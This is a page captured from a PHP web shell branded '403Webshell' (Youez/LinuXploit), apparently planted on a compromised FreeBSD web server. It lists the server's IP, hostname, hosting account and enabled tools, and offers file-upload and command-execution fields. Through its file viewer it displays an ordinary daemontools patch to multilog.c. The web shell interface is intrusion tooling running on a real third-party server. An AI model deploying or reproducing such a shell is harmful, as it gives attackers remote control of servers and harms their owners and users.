403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/daemontools/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/daemontools/files/patch-multilog.c
Description: Skip the timestamp when matching specified patterns.
Origin: http://marc.info/?m=96056408505485
Author: Gerritt Pape <pape@smarden.org>
Last-Update: 2010-11-12

--- multilog.c.orig
+++ multilog.c
@@ -496,7 +496,7 @@
   flagtimestamp = 0;
   if (script[0])
     if (script[0][0] == 't')
-      flagtimestamp = 1;
+      flagtimestamp = 26;
 
   for (i = 0;i <= 1000;++i) line[i] = '\n';
   linelen = 0;
@@ -529,12 +529,12 @@
       switch(*action) {
         case '+':
           if (!flagselected)
-            if (match(action + 1,line,linelen))
+            if (match(action + 1,line + flagtimestamp,linelen - flagtimestamp))
               flagselected = 1;
           break;
         case '-':
           if (flagselected)
-            if (match(action + 1,line,linelen))
+            if (match(action + 1,line + flagtimestamp,linelen - flagtimestamp))
               flagselected = 0;
           break;
         case 'e':

Youez - 2016 - github.com/yon3zu
LinuXploit